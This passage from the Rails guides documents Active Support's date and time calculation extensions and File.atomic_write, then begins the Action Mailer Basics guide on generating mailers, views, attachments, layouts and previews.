The methods beginning_of_quarter and end_of_quarter return the dates for the beginning and end of the quarter of the receiver's calendar year:

  d = Date.new(2010, 5, 9) # => Sun, 09 May 2010
d.beginning_of_quarter   # => Thu, 01 Apr 2010
d.end_of_quarter         # => Wed, 30 Jun 2010

beginning_of_quarter is aliased to at_beginning_of_quarter, and end_of_quarter is aliased to at_end_of_quarter.

Defined in active_support/core_ext/date_and_time/calculations.rb.

15.1.2.6 beginning_of_year, end_of_year

The methods beginning_of_year and end_of_year return the dates for the beginning and end of the year:

  d = Date.new(2010, 5, 9) # => Sun, 09 May 2010
d.beginning_of_year      # => Fri, 01 Jan 2010
d.end_of_year            # => Fri, 31 Dec 2010

beginning_of_year is aliased to at_beginning_of_year, and end_of_year is aliased to at_end_of_year.

Defined in active_support/core_ext/date_and_time/calculations.rb.

15.1.3 Other Date Computations

15.1.3.1 years_ago, years_since

The method years_ago receives a number of years and returns the same date those many years ago:

  date = Date.new(2010, 6, 7)
date.years_ago(10) # => Wed, 07 Jun 2000

years_since moves forward in time:

  date = Date.new(2010, 6, 7)
date.years_since(10) # => Sun, 07 Jun 2020

If such a day does not exist, the last day of the corresponding month is returned:

  Date.new(2012, 2, 29).years_ago(3)     # => Sat, 28 Feb 2009
Date.new(2012, 2, 29).years_since(3)   # => Sat, 28 Feb 2015

last_year is short-hand for #years_ago(1).

Defined in active_support/core_ext/date_and_time/calculations.rb.

15.1.3.2 months_ago, months_since

The methods months_ago and months_since work analogously for months:

  Date.new(2010, 4, 30).months_ago(2)   # => Sun, 28 Feb 2010
Date.new(2010, 4, 30).months_since(2) # => Wed, 30 Jun 2010

If such a day does not exist, the last day of the corresponding month is returned:

  Date.new(2010, 4, 30).months_ago(2)    # => Sun, 28 Feb 2010
Date.new(2009, 12, 31).months_since(2) # => Sun, 28 Feb 2010

last_month is short-hand for #months_ago(1).

Defined in active_support/core_ext/date_and_time/calculations.rb.

15.1.3.3 weeks_ago

The method weeks_ago works analogously for weeks:

  Date.new(2010, 5, 24).weeks_ago(1)    # => Mon, 17 May 2010
Date.new(2010, 5, 24).weeks_ago(2)    # => Mon, 10 May 2010

Defined in active_support/core_ext/date_and_time/calculations.rb.

15.1.3.4 advance

The most generic way to jump to other days is advance. This method receives a hash with keys :years, :months, :weeks, :days, and returns a date advanced as much as the present keys indicate:

  date = Date.new(2010, 6, 6)
date.advance(years: 1, weeks: 2)  # => Mon, 20 Jun 2011
date.advance(months: 2, days: -2) # => Wed, 04 Aug 2010

Note in the previous example that increments may be negative.

Defined in active_support/core_ext/date/calculations.rb.

15.1.4 Changing Components

The method change allows you to get a new date which is the same as the receiver except for the given year, month, or day:

  Date.new(2010, 12, 23).change(year: 2011, month: 11)
# => Wed, 23 Nov 2011

This method is not tolerant to non-existing dates, if the change is invalid ArgumentError is raised:

  Date.new(2010, 1, 31).change(month: 2)
# => ArgumentError: invalid date

Defined in active_support/core_ext/date/calculations.rb.

15.1.5 Durations

Duration objects can be added to and subtracted from dates:

  d = Date.current
# => Mon, 09 Aug 2010
d + 1.year
# => Tue, 09 Aug 2011
d - 3.hours
# => Sun, 08 Aug 2010 21:00:00 UTC +00:00

They translate to calls to since or advance. For example here we get the correct jump in the calendar reform:

  Date.new(1582, 10, 4) + 1.day
# => Fri, 15 Oct 1582

15.1.6 Timestamps

The following methods return a Time object if possible, otherwise a DateTime. If set, they honor the user time zone.

15.1.6.1 beginning_of_day, end_of_day

The method beginning_of_day returns a timestamp at the beginning of the day (00:00:00):

  date = Date.new(2010, 6, 7)
date.beginning_of_day # => Mon Jun 07 00:00:00 +0200 2010

The method end_of_day returns a timestamp at the end of the day (23:59:59):

  date = Date.new(2010, 6, 7)
date.end_of_day # => Mon Jun 07 23:59:59 +0200 2010

beginning_of_day is aliased to at_beginning_of_day, midnight, at_midnight.

Defined in active_support/core_ext/date/calculations.rb.

15.1.6.2 beginning_of_hour, end_of_hour

The method beginning_of_hour returns a timestamp at the beginning of the hour (hh:00:00):

  date = DateTime.new(2010, 6, 7, 19, 55, 25)
date.beginning_of_hour # => Mon Jun 07 19:00:00 +0200 2010

The method end_of_hour returns a timestamp at the end of the hour (hh:59:59):

  date = DateTime.new(2010, 6, 7, 19, 55, 25)
date.end_of_hour # => Mon Jun 07 19:59:59 +0200 2010

beginning_of_hour is aliased to at_beginning_of_hour.

Defined in active_support/core_ext/date_time/calculations.rb.

15.1.6.3 beginning_of_minute, end_of_minute

The method beginning_of_minute returns a timestamp at the beginning of the minute (hh:mm:00):

  date = DateTime.new(2010, 6, 7, 19, 55, 25)
date.beginning_of_minute # => Mon Jun 07 19:55:00 +0200 2010

The method end_of_minute returns a timestamp at the end of the minute (hh:mm:59):

  date = DateTime.new(2010, 6, 7, 19, 55, 25)
date.end_of_minute # => Mon Jun 07 19:55:59 +0200 2010

beginning_of_minute is aliased to at_beginning_of_minute.

beginning_of_hour, end_of_hour, beginning_of_minute, and end_of_minute are implemented for Time and DateTime but not Date as it does not make sense to request the beginning or end of an hour or minute on a Date instance.

Defined in active_support/core_ext/date_time/calculations.rb.

15.1.6.4 ago, since

The method ago receives a number of seconds as argument and returns a timestamp those many seconds ago from midnight:

  date = Date.current # => Fri, 11 Jun 2010
date.ago(1)         # => Thu, 10 Jun 2010 23:59:59 EDT -04:00

Similarly, since moves forward:

  date = Date.current # => Fri, 11 Jun 2010
date.since(1)       # => Fri, 11 Jun 2010 00:00:01 EDT -04:00

Defined in active_support/core_ext/date/calculations.rb.

16 Extensions to DateTime

DateTime is not aware of DST rules and so some of these methods have edge cases when a DST change is going on. For example seconds_since_midnight might not return the real amount in such a day.

16.1 Calculations

The class DateTime is a subclass of Date so by loading active_support/core_ext/date/calculations.rb you inherit these methods and their aliases, except that they will always return datetimes.

The following methods are reimplemented so you do not need to load active_support/core_ext/date/calculations.rb for these ones:

beginning_of_day / midnight / at_midnight / at_beginning_of_day

end_of_day

ago

since / in

On the other hand, advance and change are also defined and support more options, they are documented below.

The following methods are only implemented in active_support/core_ext/date_time/calculations.rb as they only make sense when used with a DateTime instance:

beginning_of_hour / at_beginning_of_hour

end_of_hour

16.1.1 Named Datetimes

16.1.1.1 DateTime.current

Active Support defines DateTime.current to be like Time.now.to_datetime, except that it honors the user time zone, if defined. The instance predicates past? and future? are defined relative to DateTime.current.

Defined in active_support/core_ext/date_time/calculations.rb.

16.1.2 Other Extensions

16.1.2.1 seconds_since_midnight

The method seconds_since_midnight returns the number of seconds since midnight:

  now = DateTime.current     # => Mon, 07 Jun 2010 20:26:36 +0000
now.seconds_since_midnight # => 73596

Defined in active_support/core_ext/date_time/calculations.rb.

16.1.2.2 utc

The method utc gives you the same datetime in the receiver expressed in UTC.

  now = DateTime.current # => Mon, 07 Jun 2010 19:27:52 -0400
now.utc                # => Mon, 07 Jun 2010 23:27:52 +0000

This method is also aliased as getutc.

Defined in active_support/core_ext/date_time/calculations.rb.

16.1.2.3 utc?

The predicate utc? says whether the receiver has UTC as its time zone:

  now = DateTime.now # => Mon, 07 Jun 2010 19:30:47 -0400
now.utc?           # => false
now.utc.utc?       # => true

Defined in active_support/core_ext/date_time/calculations.rb.

16.1.2.4 advance

The most generic way to jump to another datetime is advance. This method receives a hash with keys :years, :months, :weeks, :days, :hours, :minutes, and :seconds, and returns a datetime advanced as much as the present keys indicate.

  d = DateTime.current
# => Thu, 05 Aug 2010 11:33:31 +0000
d.advance(years: 1, months: 1, days: 1, hours: 1, minutes: 1, seconds: 1)
# => Tue, 06 Sep 2011 12:34:32 +0000

This method first computes the destination date passing :years, :months, :weeks, and :days to Date#advance documented above. After that, it adjusts the time calling since with the number of seconds to advance. This order is relevant, a different ordering would give different datetimes in some edge-cases. The example in Date#advance applies, and we can extend it to show order relevance related to the time bits.

If we first move the date bits (that have also a relative order of processing, as documented before), and then the time bits we get for example the following computation:

  d = DateTime.new(2010, 2, 28, 23, 59, 59)
# => Sun, 28 Feb 2010 23:59:59 +0000
d.advance(months: 1, seconds: 1)
# => Mon, 29 Mar 2010 00:00:00 +0000

but if we computed them the other way around, the result would be different:

  d.advance(seconds: 1).advance(months: 1)
# => Thu, 01 Apr 2010 00:00:00 +0000

Since DateTime is not DST-aware you can end up in a non-existing point in time with no warning or error telling you so.

Defined in active_support/core_ext/date_time/calculations.rb.

16.1.3 Changing Components

The method change allows you to get a new datetime which is the same as the receiver except for the given options, which may include :year, :month, :day, :hour, :min, :sec, :offset, :start:

  now = DateTime.current
# => Tue, 08 Jun 2010 01:56:22 +0000
now.change(year: 2011, offset: Rational(-6, 24))
# => Wed, 08 Jun 2011 01:56:22 -0600

If hours are zeroed, then minutes and seconds are too (unless they have given values):

  now.change(hour: 0)
# => Tue, 08 Jun 2010 00:00:00 +0000

Similarly, if minutes are zeroed, then seconds are too (unless it has given a value):

  now.change(min: 0)
# => Tue, 08 Jun 2010 01:00:00 +0000

This method is not tolerant to non-existing dates, if the change is invalid ArgumentError is raised:

  DateTime.current.change(month: 2, day: 30)
# => ArgumentError: invalid date

Defined in active_support/core_ext/date_time/calculations.rb.

16.1.4 Durations

Duration objects can be added to and subtracted from datetimes:

  now = DateTime.current
# => Mon, 09 Aug 2010 23:15:17 +0000
now + 1.year
# => Tue, 09 Aug 2011 23:15:17 +0000
now - 1.week
# => Mon, 02 Aug 2010 23:15:17 +0000

They translate to calls to since or advance. For example here we get the correct jump in the calendar reform:

  DateTime.new(1582, 10, 4, 23) + 1.hour
# => Fri, 15 Oct 1582 00:00:00 +0000

17 Extensions to Time

17.1 Calculations

They are analogous. Please refer to their documentation above and take into account the following differences:

change accepts an additional :usec option.

Time understands DST, so you get correct DST calculations as in

  Time.zone_default
# => #<ActiveSupport::TimeZone:0x7f73654d4f38 @utc_offset=nil, @name="Madrid", ...>

# In Barcelona, 2010/03/28 02:00 +0100 becomes 2010/03/28 03:00 +0200 due to DST.
t = Time.local(2010, 3, 28, 1, 59, 59)
# => Sun Mar 28 01:59:59 +0100 2010
t.advance(seconds: 1)
# => Sun Mar 28 03:00:00 +0200 2010

If since or ago jumps to a time that can't be expressed with Time a DateTime object is returned instead.

17.1.1 Time.current

Active Support defines Time.current to be today in the current time zone. That's like Time.now, except that it honors the user time zone, if defined. It also defines the instance predicates past?, today?, tomorrow?, next_day?, yesterday?, prev_day? and future?, all of them relative to Time.current.

When making Time comparisons using methods which honor the user time zone, make sure to use Time.current instead of Time.now. There are cases where the user time zone might be in the future compared to the system time zone, which Time.now uses by default. This means Time.now.to_date may equal Date.yesterday.

Defined in active_support/core_ext/time/calculations.rb.

17.1.2 all_day, all_week, all_month, all_quarter, and all_year

The method all_day returns a range representing the whole day of the current time.

  now = Time.current
# => Mon, 09 Aug 2010 23:20:05 UTC +00:00
now.all_day
# => Mon, 09 Aug 2010 00:00:00 UTC +00:00..Mon, 09 Aug 2010 23:59:59 UTC +00:00

Analogously, all_week, all_month, all_quarter and all_year all serve the purpose of generating time ranges.

  now = Time.current
# => Mon, 09 Aug 2010 23:20:05 UTC +00:00
now.all_week
# => Mon, 09 Aug 2010 00:00:00 UTC +00:00..Sun, 15 Aug 2010 23:59:59 UTC +00:00
now.all_week(:sunday)
# => Sun, 16 Sep 2012 00:00:00 UTC +00:00..Sat, 22 Sep 2012 23:59:59 UTC +00:00
now.all_month
# => Sat, 01 Aug 2010 00:00:00 UTC +00:00..Tue, 31 Aug 2010 23:59:59 UTC +00:00
now.all_quarter
# => Thu, 01 Jul 2010 00:00:00 UTC +00:00..Thu, 30 Sep 2010 23:59:59 UTC +00:00
now.all_year
# => Fri, 01 Jan 2010 00:00:00 UTC +00:00..Fri, 31 Dec 2010 23:59:59 UTC +00:00

Defined in active_support/core_ext/date_and_time/calculations.rb.

17.1.3 prev_day, next_day

prev_day and next_day return the time in the last or next day:

  t = Time.new(2010, 5, 8) # => 2010-05-08 00:00:00 +0900
t.prev_day               # => 2010-05-07 00:00:00 +0900
t.next_day               # => 2010-05-09 00:00:00 +0900

Defined in active_support/core_ext/time/calculations.rb.

17.1.4 prev_month, next_month

prev_month and next_month return the time with the same day in the last or next month:

  t = Time.new(2010, 5, 8) # => 2010-05-08 00:00:00 +0900
t.prev_month             # => 2010-04-08 00:00:00 +0900
t.next_month             # => 2010-06-08 00:00:00 +0900

If such a day does not exist, the last day of the corresponding month is returned:

  Time.new(2000, 5, 31).prev_month # => 2000-04-30 00:00:00 +0900
Time.new(2000, 3, 31).prev_month # => 2000-02-29 00:00:00 +0900
Time.new(2000, 5, 31).next_month # => 2000-06-30 00:00:00 +0900
Time.new(2000, 1, 31).next_month # => 2000-02-29 00:00:00 +0900

Defined in active_support/core_ext/time/calculations.rb.

17.1.5 prev_year, next_year

prev_year and next_year return a time with the same day/month in the last or next year:

  t = Time.new(2010, 5, 8) # => 2010-05-08 00:00:00 +0900
t.prev_year              # => 2009-05-08 00:00:00 +0900
t.next_year              # => 2011-05-08 00:00:00 +0900

If date is the 29th of February of a leap year, you obtain the 28th:

  t = Time.new(2000, 2, 29) # => 2000-02-29 00:00:00 +0900
t.prev_year               # => 1999-02-28 00:00:00 +0900
t.next_year               # => 2001-02-28 00:00:00 +0900

Defined in active_support/core_ext/time/calculations.rb.

17.1.6 prev_quarter, next_quarter

prev_quarter and next_quarter return the date with the same day in the previous or next quarter:

  t = Time.local(2010, 5, 8) # => 2010-05-08 00:00:00 +0300
t.prev_quarter             # => 2010-02-08 00:00:00 +0200
t.next_quarter             # => 2010-08-08 00:00:00 +0300

If such a day does not exist, the last day of the corresponding month is returned:

  Time.local(2000, 7, 31).prev_quarter  # => 2000-04-30 00:00:00 +0300
Time.local(2000, 5, 31).prev_quarter  # => 2000-02-29 00:00:00 +0200
Time.local(2000, 10, 31).prev_quarter # => 2000-07-31 00:00:00 +0300
Time.local(2000, 11, 31).next_quarter # => 2001-03-01 00:00:00 +0200

prev_quarter is aliased to last_quarter.

Defined in active_support/core_ext/date_and_time/calculations.rb.

17.2 Time Constructors

Active Support defines Time.current to be Time.zone.now if there's a user time zone defined, with fallback to Time.now:

  Time.zone_default
# => #<ActiveSupport::TimeZone:0x7f73654d4f38 @utc_offset=nil, @name="Madrid", ...>
Time.current
# => Fri, 06 Aug 2010 17:11:58 CEST +02:00

Analogously to DateTime, the predicates past?, and future? are relative to Time.current.

If the time to be constructed lies beyond the range supported by Time in the runtime platform, usecs are discarded and a DateTime object is returned instead.

17.2.1 Durations

Duration objects can be added to and subtracted from time objects:

  now = Time.current
# => Mon, 09 Aug 2010 23:20:05 UTC +00:00
now + 1.year
# => Tue, 09 Aug 2011 23:21:11 UTC +00:00
now - 1.week
# => Mon, 02 Aug 2010 23:21:11 UTC +00:00

They translate to calls to since or advance. For example here we get the correct jump in the calendar reform:

  Time.utc(1582, 10, 3) + 5.days
# => Mon Oct 18 00:00:00 UTC 1582

18 Extensions to File

18.1 atomic_write

With the class method File.atomic_write you can write to a file in a way that will prevent any reader from seeing half-written content.

The name of the file is passed as an argument, and the method yields a file handle opened for writing. Once the block is done atomic_write closes the file handle and completes its job.

For example, Action Pack uses this method to write asset cache files like all.css:

  File.atomic_write(joined_asset_path) do |cache|
  cache.write(join_asset_file_contents(asset_paths))
end

To accomplish this atomic_write creates a temporary file. That's the file the code in the block actually writes to. On completion, the temporary file is renamed, which is an atomic operation on POSIX systems. If the target file exists atomic_write overwrites it and keeps owners and permissions. However there are a few cases where atomic_write cannot change the file ownership or permissions, this error is caught and skipped over trusting in the user/filesystem to ensure the file is accessible to the processes that need it.

Due to the chmod operation atomic_write performs, if the target file has an ACL set on it this ACL will be recalculated/modified.

Note you can't append with atomic_write.

The auxiliary file is written in a standard directory for temporary files, but you can pass a directory of your choice as second argument.

Defined in active_support/core_ext/file/atomic.rb.

19 Extensions to NameError

Active Support adds missing_name? to NameError, which tests whether the exception was raised because of the name passed as argument.

The name may be given as a symbol or string. A symbol is tested against the bare constant name, a string is against the fully qualified constant name.

A symbol can represent a fully qualified constant name as in :"ActiveRecord::Base", so the behavior for symbols is defined for convenience, not because it has to be that way technically.

For example, when an action of ArticlesController is called Rails tries optimistically to use ArticlesHelper. It is OK that the helper module does not exist, so if an exception for that constant name is raised it should be silenced. But it could be the case that articles_helper.rb raises a NameError due to an actual unknown constant. That should be reraised. The method missing_name? provides a way to distinguish both cases:

  def default_helper_module!
  module_name = name.delete_suffix("Controller")
  module_path = module_name.underscore
  helper module_path
rescue LoadError => e
  raise e unless e.is_missing? "helpers/#{module_path}_helper"
rescue NameError => e
  raise e unless e.missing_name? "#{module_name}Helper"
end

Defined in active_support/core_ext/name_error.rb.

20 Extensions to LoadError

Active Support adds is_missing? to LoadError.

Given a path name is_missing? tests whether the exception was raised due to that particular file (except perhaps for the ".rb" extension).

For example, when an action of ArticlesController is called Rails tries to load articles_helper.rb, but that file may not exist. That's fine, the helper module is not mandatory so Rails silences a load error. But it could be the case that the helper module does exist and in turn requires another library that is missing. In that case Rails must reraise the exception. The method is_missing? provides a way to distinguish both cases:

  def default_helper_module!
  module_name = name.delete_suffix("Controller")
  module_path = module_name.underscore
  helper module_path
rescue LoadError => e
  raise e unless e.is_missing? "helpers/#{module_path}_helper"
rescue NameError => e
  raise e unless e.missing_name? "#{module_name}Helper"
end

Defined in active_support/core_ext/load_error.rb.

21 Extensions to Pathname

21.1 existence

The existence method returns the receiver if the named file exists otherwise returns nil. It is useful for idioms like this:

  content = Pathname.new("file").existence&.read

Defined in active_support/core_ext/pathname/existence.rb.

Action Mailer Basics

This guide provides you with all you need to get started in sending emails from your application, and many internals of Action Mailer. It also covers how to test your mailers.

After reading this guide, you will know:

How to send email within a Rails application.

How to generate and edit an Action Mailer class and mailer view.

How to configure Action Mailer for your environment.

How to test your Action Mailer classes.

Chapters

What is Action Mailer?

Mailers are Similar to Controllers

Sending Emails

Walkthrough to Generating a Mailer

Auto Encoding Header Values

Complete List of Action Mailer Methods

Mailer Views

Action Mailer Layouts

Previewing Emails

Generating URLs in Action Mailer Views

Adding Images in Action Mailer Views

Sending Multipart Emails

Sending Emails with Dynamic Delivery Options

Sending Emails without Template Rendering

Action Mailer Callbacks

Using Action Mailer Helpers

Action Mailer Configuration

Example Action Mailer Configuration

Action Mailer Configuration for Gmail

Mailer Testing

Intercepting and Observing Emails

Intercepting Emails

Observing Emails

1 What is Action Mailer?

Action Mailer allows you to send emails from your application using mailer classes and views.

1.1 Mailers are Similar to Controllers

They inherit from ActionMailer::Base and live in app/mailers. Mailers also work very similarly to controllers. Some examples of similarities are enumerated below. Mailers have:

Actions, and also, associated views that appear in app/views.

Instance variables that are accessible in views.

The ability to utilise layouts and partials.

The ability to access a params hash.

2 Sending Emails

This section will provide a step-by-step guide to creating a mailer and its views.

2.1 Walkthrough to Generating a Mailer

2.1.1 Create the Mailer

  $ bin/rails generate mailer User
create  app/mailers/user_mailer.rb
create  app/mailers/application_mailer.rb
invoke  erb
create    app/views/user_mailer
create    app/views/layouts/mailer.text.erb
create    app/views/layouts/mailer.html.erb
invoke  test_unit
create    test/mailers/user_mailer_test.rb
create    test/mailers/previews/user_mailer_preview.rb

  # app/mailers/application_mailer.rb
class ApplicationMailer < ActionMailer::Base
  default from: "from@example.com"
  layout 'mailer'
end

  # app/mailers/user_mailer.rb
class UserMailer < ApplicationMailer
end

As you can see, you can generate mailers just like you use other generators with Rails.

If you didn't want to use a generator, you could create your own file inside of app/mailers, just make sure that it inherits from ActionMailer::Base:

  class MyMailer < ActionMailer::Base
end

2.1.2 Edit the Mailer

Mailers have methods called "actions" and they use views to structure their content. Where a controller generates content like HTML to send back to the client, a Mailer creates a message to be delivered via email.

app/mailers/user_mailer.rb contains an empty mailer:

  class UserMailer < ApplicationMailer
end

Let's add a method called welcome_email, that will send an email to the user's registered email address:

  class UserMailer < ApplicationMailer
  default from: 'notifications@example.com'

  def welcome_email
    @user = params[:user]
    @url  = 'http://example.com/login'
    mail(to: @user.email, subject: 'Welcome to My Awesome Site')
  end
end

Here is a quick explanation of the items presented in the preceding method. For a full list of all available options, please have a look further down at the Complete List of Action Mailer user-settable attributes section.

The default method sets default values for all emails sent from this mailer. In this case, we use it to set the :from header value for all messages in this class. This can be overridden on a per-email basis.

The mail method creates the actual email message. We use it to specify the values of headers like :to and :subject per email.

2.1.3 Create a Mailer View

Create a file called welcome_email.html.erb in app/views/user_mailer/. This will be the template used for the email, formatted in HTML:

  <!DOCTYPE html>
<html>
  <head>
    <meta content='text/html; charset=UTF-8' http-equiv='Content-Type' />
  </head>
  <body>
    <h1>Welcome to example.com, <%= @user.name %></h1>
    <p>
      You have successfully signed up to example.com,
      your username is: <%= @user.login %>.<br>
    </p>
    <p>
      To login to the site, just follow this link: <%= @url %>.
    </p>
    <p>Thanks for joining and have a great day!</p>
  </body>
</html>

Let's also make a text part for this email. Not all clients prefer HTML emails, and so sending both is best practice. To do this, create a file called welcome_email.text.erb in app/views/user_mailer/:

  Welcome to example.com, <%= @user.name %>
===============================================

You have successfully signed up to example.com,
your username is: <%= @user.login %>.

To login to the site, just follow this link: <%= @url %>.

Thanks for joining and have a great day!

When you call the mail method now, Action Mailer will detect the two templates (text and HTML) and automatically generate a multipart/alternative email.

2.1.4 Calling the Mailer

Mailers are really just another way to render a view. Instead of rendering a view and sending it over the HTTP protocol, they are sending it out through the email protocols instead. Due to this, it makes sense to have your controller tell the Mailer to send an email when a user is successfully created.

Setting this up is simple.

First, let's create a User scaffold:

  $ bin/rails generate scaffold user name email login
$ bin/rails db:migrate

Now that we have a user model to play with, we will edit the app/controllers/users_controller.rb file, make it instruct the UserMailer to deliver an email to the newly created user by editing the create action and inserting a call to UserMailer.with(user: @user).welcome_email right after the user is successfully saved.

We will enqueue the email to be sent by using deliver_later, which is backed by Active Job. That way, the controller action can continue without waiting for the send to complete.

  class UsersController < ApplicationController
  # ...

  # POST /users or /users.json
  def create
    @user = User.new(user_params)

    respond_to do |format|
      if @user.save
        # Tell the UserMailer to send a welcome email after save
        UserMailer.with(user: @user).welcome_email.deliver_later

        format.html { redirect_to(@user, notice: 'User was successfully created.') }
        format.json { render json: @user, status: :created, location: @user }
      else
        format.html { render action: 'new' }
        format.json { render json: @user.errors, status: :unprocessable_entity }
      end
    end
  end

  # ...
end

Active Job's default behavior is to execute jobs via the :async adapter. So, you can use deliver_later to send emails asynchronously. Active Job's default adapter runs jobs with an in-process thread pool. It's well-suited for the development/test environments, since it doesn't require any external infrastructure, but it's a poor fit for production since it drops pending jobs on restart. If you need a persistent backend, you will need to use an Active Job adapter that has a persistent backend (Sidekiq, Resque, etc).

If you want to send emails right away (from a cronjob for example) just call deliver_now:

  class SendWeeklySummary
  def run
    User.find_each do |user|
      UserMailer.with(user: user).weekly_summary.deliver_now
    end
  end
end

Any key-value pair passed to with just becomes the params for the mailer action. So with(user: @user, account: @user.account) makes params[:user] and params[:account] available in the mailer action. Just like controllers have params.

The method welcome_email returns an ActionMailer::MessageDelivery object which can then be told to deliver_now or deliver_later to send itself out. The ActionMailer::MessageDelivery object is a wrapper around a Mail::Message. If you want to inspect, alter, or do anything else with the Mail::Message object you can access it with the message method on the ActionMailer::MessageDelivery object.

2.2 Auto Encoding Header Values

Action Mailer handles the auto encoding of multibyte characters inside of headers and bodies.

For more complex examples such as defining alternate character sets or self-encoding text first, please refer to the Mail library.

2.3 Complete List of Action Mailer Methods

There are just three methods that you need to send pretty much any email message:

headers - Specifies any header on the email you want. You can pass a hash of header field names and value pairs, or you can call headers[:field_name] = 'value'.

attachments - Allows you to add attachments to your email. For example, attachments['file-name.jpg'] = File.read('file-name.jpg').

mail - Creates the actual email itself. You can pass in headers as a hash to the mail method as a parameter. mail will create an email — either plain text or multipart — depending on what email templates you have defined.

2.3.1 Adding Attachments

Action Mailer makes it very easy to add attachments.

Pass the file name and content and Action Mailer and the Mail gem will automatically guess the mime_type, set the encoding, and create the attachment.

attachments['filename.jpg'] = File.read('/path/to/filename.jpg')

When the mail method will be triggered, it will send a multipart email with an attachment, properly nested with the top level being multipart/mixed and the first part being a multipart/alternative containing the plain text and HTML email messages.

Mail will automatically Base64 encode an attachment. If you want something different, encode your content and pass in the encoded content and encoding in a Hash to the attachments method.

Pass the file name and specify headers and content and Action Mailer and Mail will use the settings you pass in.

encoded_content = SpecialEncode(File.read('/path/to/filename.jpg'))
attachments['filename.jpg'] = {
  mime_type: 'application/gzip',
  encoding: 'SpecialEncoding',
  content: encoded_content
}

If you specify an encoding, Mail will assume that your content is already encoded and not try to Base64 encode it.

2.3.2 Making Inline Attachments

Action Mailer 3.0 makes inline attachments, which involved a lot of hacking in pre 3.0 versions, much simpler and trivial as they should be.

First, to tell Mail to turn an attachment into an inline attachment, you just call #inline on the attachments method within your Mailer:

def welcome
  attachments.inline['image.jpg'] = File.read('/path/to/image.jpg')
end

Then in your view, you can just reference attachments as a hash and specify which attachment you want to show, calling url on it and then passing the result into the image_tag method:

<p>Hello there, this is our image</p>

<%= image_tag attachments['image.jpg'].url %>

As this is a standard call to image_tag you can pass in an options hash after the attachment URL as you could for any other image:

<p>Hello there, this is our image</p>

<%= image_tag attachments['image.jpg'].url, alt: 'My Photo', class: 'photos' %>

2.3.3 Sending Email to Multiple Recipients

It is possible to send email to one or more recipients in one email (e.g., informing all admins of a new signup) by setting the list of emails to the :to key. The list of emails can be an array of email addresses or a single string with the addresses separated by commas.

  class AdminMailer < ApplicationMailer
  default to: -> { Admin.pluck(:email) },
          from: 'notification@example.com'

  def new_registration(user)
    @user = user
    mail(subject: "New User Signup: #{@user.email}")
  end
end

The same format can be used to set carbon copy (Cc:) and blind carbon copy (Bcc:) recipients, by using the :cc and :bcc keys respectively.

2.3.4 Sending Email with Name

Sometimes you wish to show the name of the person instead of just their email address when they receive the email. You can use email_address_with_name for that:

  def welcome_email
  @user = params[:user]
  mail(
    to: email_address_with_name(@user.email, @user.name),
    subject: 'Welcome to My Awesome Site'
  )
end

The same technique works to specify a sender name:

  class UserMailer < ApplicationMailer
  default from: email_address_with_name('notification@example.com', 'Example Company Notifications')
end

If the name is a blank string, it returns just the address.

2.4 Mailer Views

Mailer views are located in the app/views/name_of_mailer_class directory. The specific mailer view is known to the class because its name is the same as the mailer method. In our example from above, our mailer view for the welcome_email method will be in app/views/user_mailer/welcome_email.html.erb for the HTML version and welcome_email.text.erb for the plain text version.

To change the default mailer view for your action you do something like:

  class UserMailer < ApplicationMailer
  default from: 'notifications@example.com'

  def welcome_email
    @user = params[:user]
    @url  = 'http://example.com/login'
    mail(to: @user.email,
         subject: 'Welcome to My Awesome Site',
         template_path: 'notifications',
         template_name: 'another')
  end
end

In this case, it will look for templates at app/views/notifications with name another. You can also specify an array of paths for template_path, and they will be searched in order.

If you want more flexibility you can also pass a block and render specific templates or even render inline or text without using a template file:

  class UserMailer < ApplicationMailer
  default from: 'notifications@example.com'

  def welcome_email
    @user = params[:user]
    @url  = 'http://example.com/login'
    mail(to: @user.email,
         subject: 'Welcome to My Awesome Site') do |format|
      format.html { render 'another_template' }
      format.text { render plain: 'Render text' }
    end
  end
end

This will render the template 'another_template.html.erb' for the HTML part and use the rendered text for the text part. The render command is the same one used inside of Action Controller, so you can use all the same options, such as :text, :inline, etc.

If you would like to render a template located outside of the default app/views/mailer_name/ directory, you can apply the prepend_view_path, like so:

  class UserMailer < ApplicationMailer
  prepend_view_path "custom/path/to/mailer/view"

  # This will try to load "custom/path/to/mailer/view/welcome_email" template
  def welcome_email
    # ...
  end
end

You can also consider using the append_view_path method.

2.4.1 Caching Mailer View

You can perform fragment caching in mailer views like in application views using the cache method.

  <% cache do %>
  <%= @company.name %>
<% end %>

And to use this feature, you need to configure your application with this:

  config.action_mailer.perform_caching = true

Fragment caching is also supported in multipart emails. Read more about caching in the Rails caching guide.

2.5 Action Mailer Layouts

Just like controller views, you can also have mailer layouts. The layout name needs to be the same as your mailer, such as user_mailer.html.erb and user_mailer.text.erb to be automatically recognized by your mailer as a layout.

To use a different file, call layout in your mailer:

  class UserMailer < ApplicationMailer
  layout 'awesome' # use awesome.(html|text).erb as the layout
end

Just like with controller views, use yield to render the view inside the layout.

You can also pass in a layout: 'layout_name' option to the render call inside the format block to specify different layouts for different formats:

  class UserMailer < ApplicationMailer
  def welcome_email
    mail(to: params[:user].email) do |format|
      format.html { render layout: 'my_layout' }
      format.text
    end
  end
end

Will render the HTML part using the my_layout.html.erb file and the text part with the usual user_mailer.text.erb file if it exists.

2.6 Previewing Emails

Action Mailer previews provide a way to see how emails look by visiting a special URL that renders them. In the above example, the preview class for UserMailer should be named UserMailerPreview and located in test/mailers/previews/user_mailer_preview.rb. To see the preview of welcome_email, implement a method that has the same name and call UserMailer.welcome_email:

  class UserMailerPreview < ActionMailer::Preview
  def welcome_email
    UserMailer.with(user: User.first).welcome_email
  end
end

Then the preview will be available in http://localhost:3000/rails/mailers/user_mailer/welcome_email.

If you change something in app/views/user_mailer/welcome_email.html.erb or the mailer itself, it'll automatically reload and render it so you can visually see the new style instantly. A list of previews are also available in http://localhost:3000/rails/mailers.

By default, these preview classes live in test/mailers/previews. This can be configured using the preview_path option. For example, if you want to change it to lib/mailer_previews, you can configure it in config/application.rb:

  config.action_mailer.preview_path = "#{Rails.root}/lib/mailer_previews"

2.7 Generating URLs in Action Mailer Views

Unlike controllers, the mailer instance doesn't have any context about the incoming request so you'll need to provide the :host parameter yourself.

As the :host usually is consistent across the application you can configure it globally in config/application.rb:

  config.action_mailer.default_url_options = { host: 'example.com' }

Because of this behavior, you cannot use any of the *_path helpers inside of an email. Instead, you will need to use the associated *_url helper. For example instead of using

  <%= link_to 'welcome', welcome_path %>

You will need to use:

  <%= link_to 'welcome', welcome_url %>

By using the full URL, your links will now work in your emails.

2.7.1 Generating URLs with url_for

url_for generates a full URL by default in templates.

If you did not configure the :host option globally make sure to pass it to url_for.

